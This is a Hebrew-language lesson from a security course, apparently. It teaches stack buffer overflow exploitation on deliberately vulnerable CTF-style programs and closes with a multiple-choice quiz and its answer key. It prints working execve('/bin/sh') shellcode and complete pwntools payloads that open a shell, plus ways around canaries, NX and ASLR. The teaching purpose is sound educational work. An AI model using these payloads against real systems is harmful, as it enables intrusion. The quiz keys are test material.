Stack Buffer Overflow
Stack Buffer Overflow — הוולנרביליטי שעיצבה את עולם הסייבר
Stack Buffer Overflow הוא הוולנרביליטי הקלאסית ביותר. מ-Morris Worm 1988 ועד ימינו, כתיבה מעבר לגבול Buffer ב-Stack מאפשרת לתוקף לשלוט בזרם הביצוע של התוכנה.
- Stack Layout בזמן CALL — מה נמצא איפה
- מכניקת ה-Overflow — Return Address Overwrite
- Cyclic Pattern — גילוי Offset לReturn Address
- Shellcode ו-NOP Sled — הנשק של התוקף
- checksec — בדיקת הגנות בינארי
- Stack Canary, NX, ASLR — הגנות ו-Bypass
- Exploit מלא: Ret2Win עם pwntools
- GDB ו-pwndbg — כלי Debug לExploitation
◄ Reverse Engineering — זיהוי פונקציות פגיעות (gets, strcpy, read ללא הגבלה)
◄ שאלון Exploitation — מה Stack Canary, מה ASLR, כיצד NOP Sled עובד
◄ Exploit Development — בניית Payload ידנית, חישוב Offsets, Ret2libc
Stack Layout בזמן CALL: הבסיס של הכל
כדי להבין Buffer Overflow, חייבים להבין בדיוק מה קורה ב-Stack כשקוראים לפונקציה. ה-Offset בין Buffer ל-Return Address הוא מה שמאפשר את ה-Exploit.
; ─── Function Prologue ────────────────────────────────────
push ebp ; שמור EBP של Caller
mov ebp, esp ; EBP = בסיס Frame הנוכחי
sub esp, N ; הכן מקום למשתנים מקומיים
; ─── [EBP+0] = Saved EBP
; ─── [EBP+4] = Return Address ← מה שמחליפים!
; ─── [EBP+8] = arg1
; ─── [EBP-N] = Buffer (גדל לכיוון כתובות נמוכות!)מכניקת ה-Overflow: צעד אחר צעד
כתיבה מעבר לגבול Buffer ב-Stack דורסת את Saved EBP ואחר כך את Return Address — ומאפשרת שליטה מוחלטת ב-EIP.
// ─── קוד פגיע ─────────────────────────────────────────────
void vulnerable() {
char buf[40];
gets(buf); // ← קורא ללא הגבלה! המסוכן ביותר
}
// ─── input רגיל (10 תווים) — תקין ─────────────────────────
// Stack: [buf:'HELLOWORLD\0'...][Saved_EBP][Ret=main+X]
// vulnerable() מחזירה → ל-main בסדר
// ─── input של 48× 'A' — Overflow! ─────────────────────────
// [AAAA...AAAA (40)][AAAA (Saved_EBP)][AAAA (Ret)]
// RET: POP EIP = 0x41414141 → Segfault (או Exploit!)
// ─── חישוב Offset ─────────────────────────────────────────
// bytes[0..39] → buf (40 bytes)
// bytes[40..43] → Saved EBP (4 bytes)
// bytes[44..47] → Return Address ← כאן שמים כתובת Shellcode!גילוי Offset: Cyclic Pattern
from pwn import *
# יצירת Pattern ייחודי — כל 4 bytes שונים:
pattern = cyclic(100)
# שלח → Crash → קרא EIP מה-Crash
# e.g. EIP = 0x6161616c
# גלה Offset:
offset = cyclic_find(0x6161616c)
print(f'Offset to EIP: {offset}') # → 44
# GDB: cyclic 100 → r → cyclic -l 0x6161616c → 44! Endianness ב-Return Address ›
# x86 = Little-Endian!
# כתובת 0x080491b6 נשלחת הפוכה:
# ✗ שגוי:
payload += b'\x08\x04\x91\xb6' # Big-Endian
# ✓ נכון — pwntools מטפל אוטומטית:
payload += p32(0x080491b6) # = b'\xb6\x91\x04\x08'void vuln() {
char buf[16];
gets(buf);
}
// Input: 'A' * 24מה קורה?Shellcode ו-NOP Sled: הנשק של התוקף
Shellcode הוא קוד Machine Language שמריץ execve("/bin/sh"). NOP Sled (\x90) לפניו מרחיב את "חלון הנחיתה" — אם קופצים לכל מקום בו, מגיעים לShellcode.
; ─── Shellcode: execve("/bin/sh") — 23 bytes, 32bit ──────────
xor eax, eax ; eax = 0 (ללא NULL bytes!)
push eax ; דחוף NULL (סיום string)
push 0x68732f2f ; '//sh' (Little-Endian)
push 0x6e69622f ; '/bin' (Little-Endian)
mov ebx, esp ; ebx = "/bin//sh"
push eax ; argv[1] = NULL
push ebx ; argv[0] = "/bin//sh"
mov ecx, esp ; ecx = argv
xor edx, edx ; edx = NULL (envp)
mov al, 11 ; eax = 11 = SYS_execve
int 0x80 ; System Call!
; ─── Bytes: ──────────────────────────────────────────────────
; \x31\xc0\x50\x68\x2f\x2f\x73\x68
; \x68\x2f\x62\x69\x6e\x89\xe3\x50
; \x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80בניית Payload מלא
from pwn import *
shellcode = (
b'\x31\xc0\x50\x68\x2f\x2f\x73\x68'
b'\x68\x2f\x62\x69\x6e\x89\xe3\x50'
b'\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'
) # 23 bytes
nop_sled = b'\x90' * 16 # NOP = 0x90
offset = 44 # bytes עד Return Address
ret_addr = p32(0xffffd4b0) # כתובת שנמצאת בתוך NOP Sled (מ-GDB)
# חישוב Padding:
padding = b'A' * (offset - len(nop_sled) - len(shellcode))
# [NOP Sled][Shellcode][Padding][Return Address]
payload = nop_sled + shellcode + padding + ret_addr
conn = remote('localhost', 9999)
conn.sendline(payload)
conn.interactive() # ← Shell!◄ Newline (\x0a): gets() נעצרת ב-\n → להימנע
◄ Bad chars: כל Service עשוי לסנן תווים שונים — תמיד בדוק!
◄ 64bit: syscall, rax=59, rdi/rsi/rdx (לא int 0x80, eax=11)
הגנות מודרניות: checksec, Canary, NX ו-ASLR
מאז שנות ה-2000, הוספו הגנות כדי להקשות על Buffer Overflow. הכלי הראשון בכל CTF Pwn הוא checksec.
$ checksec ./vuln
Arch: i386-32-little
Stack: No canary found ← אין Stack Canary!
NX: NX disabled ← Stack ניתן להרצה!
PIE: No PIE ← כתובות קבועות
# פירוש:
# No canary + NX disabled = Shellcode ישיר אפשרי ✓
# Canary + NX disabled = Leak Canary → Shellcode
# NX enabled + No PIE = Ret2libc / ROP (שיעור 41!)
# Full protection = Leak + ROP + ASLR BypassStack Canary
; ─── Stack Layout עם Canary ──────────────────────────────
; [Return Address] [EBP+4]
; [Saved EBP ] [EBP+0]
; [*** CANARY ***] [EBP-4] ← ערך אקראי! נבדק לפני RET
; [local vars ] [EBP-8]
; [char buf[40] ] [EBP-48]
; Prologue:
mov eax, gs:0x14 ; קרא Canary מ-TLS
mov [ebp-4], eax ; שמור ב-Stack
; Epilogue — לפני RET:
mov eax, [ebp-4] ; קרא Canary מ-Stack
xor eax, gs:0x14 ; השווה ל-Original
jz .ok
call __stack_chk_fail ; שונה → "stack smashing detected!"
; Bypass: Leak Canary דרך Format String → כלול בPayload!NX ו-ASLR
| הגנה | מה עושה | Bypass |
|---|---|---|
| NX / DEP | Stack/Heap לא ניתנים להרצה — Shellcode נחסם | Ret2libc / ROP (שיעור 41) |
| ASLR | כתובות Stack/Heap/libc אקראיות בכל הרצה | Brute Force / Info Leak / Forking Server |
| PIE | Binary עצמו בכתובת אקראית | Info Leak מ-Binary |
| Stack Canary | ערך אקראי בין buf ל-Return Address | Format String Leak → כלול בPayload |
Exploit מלא: Ret2Win ו-GDB
Ret2Win הוא ה-Exploit הבסיסי ביותר: מחליף Return Address בכתובת פונקציה קיימת (ללא Shellcode). ה-Pattern הנפוץ ביותר ב-CTF מתחיל.
// ─── קוד פגיע עם "פונקציה נסתרת" ────────────────────────────
void win() { // לא נקראת מ-main!
system("/bin/sh");
}
void vulnerable() {
char buf[40];
gets(buf); // ← Overflow!
}
// gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.cfrom pwn import *
elf = ELF('./vuln')
win_addr = elf.symbols['win'] # כתובת win() מ-Symbol Table
print(f'win() @ {hex(win_addr)}') # 0x080491b6
offset = 44 # 40 (buf) + 4 (Saved EBP)
payload = b'A' * offset + p32(win_addr)
conn = process('./vuln')
conn.sendline(payload)
conn.interactive() # ← Shell!GDB — פקודות חיוניות לPwn
$ gdb ./vuln
(gdb) disassemble vulnerable # הצג Assembly
(gdb) b *0x08049196 # Breakpoint בכתובת
(gdb) r # הרץ
(gdb) info registers # כל Registers
(gdb) x/40x $esp # הצג Stack בHex
(gdb) x/s 0x0804a000 # הצג String
(gdb) p $ebp - &buf # מרחק EBP מbuf
# pwndbg (plugin):
(gdb) cyclic 100 # יצור Pattern
(gdb) r # הרץ → Crash
(gdb) cyclic -l 0x6161616c # → Offset=44void secret() { system("/bin/sh"); }
void vuln() {
char name[24];
char pass[8];
gets(pass); // ← Overflow!
}secret() נמצאת ב-0x08049200. מה הPayload הנכון? (32bit, No PIE, No Canary)תרגול נוסף — Sockets: SO_REUSEADDR ו-Protocol
שאלות העשרה נוספות לחיזוק החומר של השיעור — באותו פורמט בחירה של הקורס.
SO_REUSEADDR?Threading לכל Client?[LENGTH(2)][DATA(LENGTH)]. הלקוח קרא רק חלק מהנתונים. למה?אתגר מעשי — Overflow — Offset ומיטיגציות
שיא השיעור: להבין את הפגיעות, לזהות אותה בקוד ובבינארי, ולהקשיח מולה. ההגשה נבדקת אוטומטית מול בינאריים אמיתיים.
סיכום שיעור 40
- Stack Layout: [args][Return Address][Saved EBP][local vars][buf] — מה נמצא איפה
- CALL דוחף Return Address אוטומטית. RET = POP EIP — זה מה שמנצלים
- Offset = sizeof(buf) + 4 (Saved EBP). גילוי עם Cyclic Pattern
- Shellcode = Machine Code לexecve("/bin/sh"). אסור NULL bytes!
- NOP Sled = \x90 * N לפני Shellcode. מרחיב חלון הנחיתה
- checksec: הכלי הראשון ב-CTF Pwn. בודק Canary/NX/PIE/RELRO
- Stack Canary: ערך אקראי בין buf ל-Return Address. Bypass: Leak → כלול בPayload
- NX: Stack לא ניתן להרצה. Bypass: Ret2libc / ROP (שיעור 41)
- ASLR: כתובות אקראיות. Bypass: Brute Force / Info Leak / Forking Server
- Ret2Win: החלף Return Address בכתובת פונקציה קיימת. p32() ל-Endianness!
שאלות תרגול ותשובות (19)
שאלה 1.1 — Stack Layout · הפונקציה מכילה char buf[40]. כמה bytes מהתחלת buf עד Return Address?
- א. 40 בתים: בדיוק כגודל ה-buffer עצמו, ללא כל תוספת
- ב. 44 בתים: ה-buffer בן 40 ועוד Saved EBP בן 4 בתים
- ג. 48 בתים: ה-buffer בן 40 בתוספת 8 בתים של יישור
- ד. 36 בתים: ה-buffer בן 40 פחות 4 בתים של רגיסטר
✓ תשובה: ב) 44 bytes — Layout: [buf: 40 bytes][Saved EBP: 4 bytes][Return Address]. אחרי 40 bytes שממלאים את buf, דרושים עוד 4 bytes לדרוס Saved EBP, ואז ה-Return Address ב-offset 44.
שאלה 1.2 — Return Address · מה מבצעת פקודת RET בסוף פונקציה?
- א. POP EIP: קורא כתובת מה-Stack אל EIP וקופץ אליה
- ב. MOV EIP, EBP: מעתיק את מצביע הבסיס אל מונה התוכנית
- ג. JMP [EBP+4]: קופץ לכתובת השמורה מעל מצביע הבסיס
- ד. PUSH EIP ולאחר מכן JMP: שומר את EIP וקופץ הלאה
✓ תשובה: א) POP EIP — RET = POP EIP = קרא 4 bytes מ-Stack (מ-ESP) ל-EIP, ואז ESP+=4. זה בדיוק מה שמנצלים: אם שינינו את הערך ב-Stack שRET יקרא — נשלוט ב-EIP!
שאלה 1.3 — Function Prologue · מה מבצע SUB ESP, 48 ב-Prologue של פונקציה?
// ─── קוד פגיע ─────────────────────────────────────────────
void vulnerable() {
char buf[40];
gets(buf); // ← קורא ללא הגבלה! המסוכן ביותר
}
// ─── input רגיל (10 תווים) — תקין ─────────────────────────
// Stack: [buf:'HELLOWORLD\0'...][Saved_EBP][Ret=main+X]
// vulnerable() מחזירה → ל-main בסדר
// ─── input של 48× 'A' — Overflow! ─────────────────────────
// [AAAA...AAAA (40)][AAAA (Saved_EBP)][AAAA (Ret)]
// RET: POP EIP = 0x41414141 → Segfault (או Exploit!)
// ─── חישוב Offset ─────────────────────────────────────────
// bytes[0..39] → buf (40 bytes)
// bytes[40..43] → Saved EBP (4 bytes)
// bytes[44..47] → Return Address ← כאן שמים כתובת Shellcode!- א. משחרר 48 בתים מה-Stack ומחזיר אותם למערכת ההפעלה
- ב. מעתיק 48 בתים מה-Heap אל תוך מסגרת ה-Stack הנוכחית
- ג. מקצה 48 בתים ב-Stack למשתנים מקומיים; ה-Stack גדל מטה
- ד. קובע את גודלו המרבי של ה-Buffer המקומי ל-48 בתים
✓ תשובה: ג) — Stack גדל לכיוון כתובות נמוכות. SUB ESP, 48 = העברת ראש ה-Stack 48 bytes "למטה" = מקצה 48 bytes לשימוש כמשתנים מקומיים. ADD ESP, 48 = שחרור.
שאלה 2.1 — Cyclic Pattern · לשם מה משתמשים ב-Cyclic Pattern (De Bruijn Sequence) ב-Pwn CTF?
- א. להצפנת ה-Payload כדי שלא יזוהה על-ידי מנגנוני ההגנה
- ב. ליצירת Shellcode תקין שירוץ ישירות מתוך ה-Stack
- ג. לבדיקה האם קיים Stack Canary שמגן על הפונקציה הנוכחית
- ד. לגילוי ה-Offset המדויק: כל 4 בתים ברצף הם ייחודיים
✓ תשובה: ד) — Cyclic Pattern: 'aaaabaaacaaad...' — כל 4 bytes ייחודיים. שלח → Crash עם EIP=0x6161616c → cyclic_find(0x6161616c)=44. מגלה את המדויק offset ל-EIP ללא ניחוש.
שאלה 2.2 — gets() vs fgets() · מדוע gets(buf) מסוכן ו-fgets(buf, 40, stdin) בטוח יותר?
- א. gets() פשוט מהיר יותר, ולכן הוא נוטה לגלוש מעבר ל-buffer
- ב. gets() פועל אך ורק על stdin, בעוד fgets() על כל זרם קלט
- ג. gets() אינו מקבל גודל מרבי וקורא בלי הגבלה; fgets() עד n-1
- ד. fgets() אינו מוסיף תו סיום, ולכן הוא נחשב לבטוח יותר
✓ תשובה: ג) — gets() הוסר מ-C11 בדיוק בגלל זה. fgets(buf, n, f) מגביל לn-1 תווים + \0. בRE: CALL gets = Buffer Overflow פוטנציאלי! חפש גם strcpy, sprintf ללא הגבלה.
שאלה 2.3 — Dry Run Overflow · void vuln() { char buf[16]; gets(buf); } // Input: 'A' * 24מה קורה?
void vuln() {
char buf[16];
gets(buf);
}
// Input: 'A' * 24- א. ה-buffer פשוט מכיל את כל 24 התווים בלי שום תופעת-לוואי
- ב. gets() נעצר אוטומטית לאחר 16 תווים ואינו גולש כלל מעבר
- ג. ה-Stack Canary מזהה את הדריסה ועוצר את התוכנית בבטחה
- ד. כתובת החזרה נדרסת ב-0x41414141 ואז Segfault בעת החזרה
✓ תשובה: ד) — buf[16] + Saved EBP[4] = 20 bytes, אחר כך 4 bytes נוספים = Return Address = 0x41414141. כשvuln() מנסה RET: POP EIP=0x41414141 → CPU מנסה לקפוץ שם → Segfault.
שאלה 3.1 — NOP Sled · מדוע משתמשים ב-NOP Sled (\x90 * N) לפני Shellcode?
- א. מאריך את ה-Payload כך שיגיע בדיוק אל ה-Offset הנכון
- ב. מנטרל את הגנות ה-NX וה-Canary שמגנות על ה-Stack עצמו
- ג. מרחיב את חלון הנחיתה: ה-CPU מריץ NOPs ומגיע ל-Shellcode
- ד. מצפין את ה-Shellcode כדי שלא יזוהה על-ידי מנגנוני ההגנה
✓ תשובה: ג) — NOP (0x90) = No Operation — CPU מבצע ומעביר ל-NOP הבא. אם קופצים לכל מקום בתוך NOP Sled, מגיעים בסוף לShellcode. מפצה על חוסר דיוק ב-ret_addr.
שאלה 3.2 — NULL Bytes · מדוע mov eax, 0 מסוכן בShellcode שנשלח דרך gets()?
- א. הפקודה mov eax,0 עצמה תמיד גורמת לקריסה מיידית של התוכנית
- ב. הרגיסטר eax אינו יכול להכיל את הערך 0 בשום שלב של הריצה
- ג. הערך eax=0 אינו תקף כלל כקריאת המערכת execve ולכן ייכשל
- ד. מתקמפל ל-B8 00 00 00 00 ומכיל NULL bytes שקוטעים את gets()
✓ תשובה: ד) — mov eax,0 = \xb8\x00\x00\x00\x00 — 4 NULL bytes! gets() (ורוב פונקציות String) נעצרות בראיית \x00. פתרון: xor eax,eax = \x31\xc0 — ללא NULL bytes, אותה תוצאה.
שאלה 3.3 — Payload Structure · מה הסדר הנכון של מבנה Payload לShellcode Injection?
$ checksec ./vuln
Arch: i386-32-little
Stack: No canary found ← אין Stack Canary!
NX: NX disabled ← Stack ניתן להרצה!
PIE: No PIE ← כתובות קבועות
# פירוש:
# No canary + NX disabled = Shellcode ישיר אפשרי ✓
# Canary + NX disabled = Leak Canary → Shellcode
# NX enabled + No PIE = Ret2libc / ROP (שיעור 41!)
# Full protection = Leak + ROP + ASLR Bypass- א. [Return Address][Shellcode][NOP Sled][Padding] בסדר הזה בדיוק
- ב. [Padding][Return Address][NOP Sled][Shellcode] בסדר הזה בדיוק
- ג. [Shellcode][NOP Sled][Padding][Return Address] בסדר הזה בדיוק
- ד. [NOP Sled][Shellcode][Padding][Return Address אל ה-NOP Sled]
✓ תשובה: ד) — [NOP Sled][Shellcode] ממוקמים ב-buf. [Padding] ממלא עד Return Address. [Return Address] מצביע לתוך NOP Sled. CPU: NOPs → Shellcode → Shell!
שאלה 4.1 — Stack Canary · Stack Canary ממוקם בין Buffer ל-Return Address. מה קורה אם Overflow דורס אותו?
- א. ה-Canary כלל אינו נבדק בשלב זה, ולכן ה-Exploit ממשיך לרוץ
- ב. ה-Canary מוחזר אוטומטית לערכו המקורי עוד לפני חזרת הפונקציה
- ג. לפני ה-RET ה-Canary נבדק, ואם השתנה מופעל abort() עם הודעה
- ד. הפונקציה פשוט מחזירה את הערך NULL במקום לקרוס בפועל בריצה
✓ תשובה: ג) — ה-Compiler מוסיף קוד לפני RET: קרא Canary מ-Stack, השווה לMaster Copy (ב-TLS). אם שינה → __stack_chk_fail() → abort(). Bypass: גלה Canary (Format String Leak) ושים אותו בPayload!
שאלה 4.2 — NX Bypass · NX מופעל — Shellcode ב-Stack לא יריץ. מה הפתרון הנפוץ ב-CTF?
- א. כתיבת ה-Shellcode אל ה-Heap והרצתו משם במקום מן ה-Stack
- ב. כתיבת ה-Shellcode אל מקטע ה-.data והרצתו ישירות משם בזיכרון
- ג. Ret2libc: קפיצה אל system() שב-libc, שהיא כן ניתנת להרצה
- ד. אין דרך לעקוף NX, ולכן יש לוותר על ניצול הפגיעות הזו כליל
✓ תשובה: ג) Ret2libc — libc.text = r-x (ניתן להרצה). Stack = rw- (ללא x). Ret2libc: החלף Return Address בכתובת system() בlibc + arg="/bin/sh". אין צורך ב-Shellcode חדש!
שאלה 4.3 — ASLR Bypass · מדוע Forking Server מקל על ASLR Bypass ב-CTF?
- א. הפעולה fork() פשוט מכבה לחלוטין את מנגנון ה-ASLR במערכת כולה
- ב. כל fork() שומר על כתובות ההורה (COW), כך שניתן ל-Brute-Force
- ג. שרת מסוג Forking מגדיל את מרחב הכתובות הזמין עבור התוכנית
- ד. מנגנון ה-ASLR כלל אינו פועל על תהליכים שרצים בתוך שרתי רשת
✓ תשובה: ב) — fork() = Copy-On-Write: ASLR seed נקבע בParent ולא משתנה בfork. כל Child = אותה כתובת libc/Stack. שלח ניסיונות שוב ושוב → Brute-Force כל byte של Canary/Address.
שאלה 4.4 — checksec · checksec מראה: NX enabled, No PIE, No Canary. מה הגישה הנכונה?
// ─── קוד פגיע עם "פונקציה נסתרת" ────────────────────────────
void win() { // לא נקראת מ-main!
system("/bin/sh");
}
void vulnerable() {
char buf[40];
gets(buf); // ← Overflow!
}
// gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c- א. הזרקת Shellcode ישירות אל ה-Stack והרצתו משם ללא כל מכשול
- ב. Ret2libc: NX חוסם Shellcode, אך No PIE נותן כתובות קבועות
- ג. ביצוע Brute Force על הכתובות עד שתימצא כתובת החזרה הנכונה
- ד. מעקף של ה-Stack Canary על-ידי דליפת ערכו טרם חזרת הפונקציה
✓ תשובה: ב) — NX enabled = לא Shellcode. No PIE = Binary בכתובת קבועה (e.g. 0x08048000). No Canary = אין Stack Canary לעקוף. ASLR עשוי לא להיות על libc — בדוק! גישה: Ret2libc עם כתובות קבועות.
שאלה 5.1 — Ret2Win Payload · void secret() { system("/bin/sh"); } void vuln() { char name[24]; char pass[8]; gets(pass); // ← Overflow! }secret() נמצאת ב-0x08049200. מה הPayload הנכון? (32bit, No PIE, No Canary)
void secret() { system("/bin/sh"); }
void vuln() {
char name[24];
char pass[8];
gets(pass); // ← Overflow!
}- א. b'A'*24 + p32(0x08049200): ריפוד בגודל המשתנה name בן 24
- ב. b'A'*8 + p32(0x08049200): ריפוד בגודל pass בלבד, ללא ה-EBP
- ג. p32(0x08049200) + b'A'*12: הכתובת ממוקמת לפני הריפוד עצמו
- ד. b'A'*12 + p32(0x08049200): pass בן 8 ועוד Saved EBP בן 4
✓ תשובה: ד) b'A'*12 + p32(0x08049200) — Stack layout של gets(pass): [pass:8][Saved EBP:4][Return Addr]. Offset=8+4=12. bytes[12..15]=secret()! name לא משפיע כי gets() כותב ל-pass.
שאלה 5.2 — GDB x/40x · ב-GDB, x/40x $esp מציג מה?
- א. 40 dwords (int) החל מ-ESP בהקסדצימלי, כלומר תוכן ה-Stack
- ב. 40 בתים החל ממצביע הבסיס EBP, בייצוג הקסדצימלי מלא ורציף
- ג. 40 הוראות Assembly החל ממונה התוכנית EIP הנוכחי והלאה
- ד. 40 תווי ASCII קריאים החל מראש ה-Stack שעליו מצביע ESP
✓ תשובה: א) — x/Nf addr: N=כמות, f=פורמט (x=hex, s=string, i=instruction). x/40x $esp = 40 dwords בhex מ-ESP. חיוני לראות את הStack ולמצוא Return Address, Canary, וכדומה.
שאלה 5.3 — p32 vs b'\x..' · מדוע p32(0x080491b6) עדיף על b'\x08\x04\x91\xb6' בpwntools?
- א. p32() מוסיפה NULL bytes בקצה, ולכן היא נוחה יותר לשימוש
- ב. p32() ממיר אוטומטית ל-Little-Endian; הכתיבה הידנית כאן הפוכה
- ג. אין כל הבדל מעשי בין שתי הדרכים, והבחירה היא עניין של טעם
- ד. הפונקציה p32() פועלת אך ורק בסביבת 64-bit ולא בסביבת 32-bit
✓ תשובה: ב) — x86 = Little-Endian. p32(0x080491b6)=b'\xb6\x91\x04\x08' (הפוך). b'\x08\x04\x91\xb6' = Big-Endian = שגוי ל-x86! p64() ל-64bit. u32()/u64() לhהמרה הפוכה (קריאה מ-Stack).
שאלה 6.1 [קל] · מה עושה SO_REUSEADDR?
SO_REUSEADDR
- א. מאיץ את חיבורי הרשת: הנחה שגויה, אף ש-SO_REUSEADDR עוסק בשחרור מהיר של הפורט ל-bind חוזר ולא במהירות התעבורה עצמה של החיבורים כאן כן
- ב. מאפשר לבצע bind לפורט שנמצא במצב TIME_WAIT — בלעדיו הפעלה חוזרת של שרת מיד לאחר סגירה נכשלת עם השגיאה Address already in use בפועל
- ג. מצפין את חיבור ה-Socket: הנחה שגויה, אף שהצפנה מסופקת על ידי TLS, ו-SO_REUSEADDR רק מתיר bind חוזר לפורט שעדיין ב-TIME_WAIT בלבד
- ד. מגביל את מספר הלקוחות: הנחה שגויה, אף שאין כאן הגבלת לקוחות, וה-Option רק מאפשר לשרת לתפוס מחדש פורט שנתקע במצב TIME_WAIT לאחר סגירה כן
✓ תשובה נכונה: ב — SO_REUSEADDR מתיר bind לפורט ב-TIME_WAIT. בלעדיו: 'Address already in use' בהפעלה מחדש מהירה. חובה כמעט בכל שרת TCP.
שאלה 6.2 [בינוני] · למה שרת משתמש ב-Threading לכל Client?
Threading
- א. כדי לחסוך בזיכרון RAM: הנחה שגויה, אף ש-Threads דווקא צורכים זיכרון נוסף, והסיבה האמיתית היא מקביליות שמונעת מ-recv החוסם לתקוע לקוחות כן
- ב. כדי להצפין כל חיבור: הנחה שגויה, אף שהצפנה אינה קשורה ל-Threading, וה-Thread לכל לקוח נועד למנוע מ-recv החוסם לעצור לקוחות אחרים כאן כן
- ג. כדי להאיץ את המעבד: הנחה שגויה, אף שריבוי Threads אינו מאיץ מעבד, אלא מאפשר לשרת לטפל בכמה לקוחות במקביל למרות ש-recv חוסם בכל אחד
- ד. משום שהקריאה recv חוסמת, ו-Thread לכל Client מבטיח שלקוח אחד לא יחסום את האחרים — בלי Threading השרת נתקע על לקוח יחיד ולא מטפל בשאר
✓ תשובה נכונה: ד — recv() חוסם עד שמגיע מידע. Thread per Client = טיפול מקבילי, לקוח לא חוסם אחרים. חלופות מודרניות: async/epoll (I/O ריבוי).
שאלה 6.3 [קשה] · שרת שולח פרוטוקול [LENGTH(2)][DATA(LENGTH)]. הלקוח קרא רק חלק מהנתונים. למה?
[LENGTH(2)][DATA(LENGTH)]
- א. כי הרשת איטית מדי: הנחה שגויה, אף שמהירות אינה הסיבה, ה-TCP הוא זרם בתים ולכן recv עלול להחזיר חלק מההודעה, ויש ללולל עד לקבלת הכול בפועל
- ב. כי הפרוטוקול פגום: הנחה שגויה, אף שהפרוטוקול תקין לחלוטין, TCP הוא זרם רציף ולכן recv בודד עלול להחזיר פחות בתים מהאורך שהוכרז כאן כן
- ג. כי TCP הוא Stream של בתים ולא הודעות — recv עלול להחזיר פחות בתים מ-LENGTH, ולכן חובה ללולל ולקרוא שוב ושוב עד שמצטברים כל הבתים שהוכרזו
- ד. כי LENGTH שגוי: הנחה שגויה, אף שהאורך המוכרז נכון, טבע ה-Stream של TCP גורם ל-recv להחזיר לעיתים חלק מהנתונים, ולכן נדרש לולאת קריאה בכל מקרה
✓ תשובה נכונה: ג — TCP = Stream, לא Messages. recv() עשוי להחזיר פחות מ-LENGTH בתים. פתרון: קרא את ה-LENGTH, ואז לולל recv עד שנצברו בדיוק LENGTH בתים.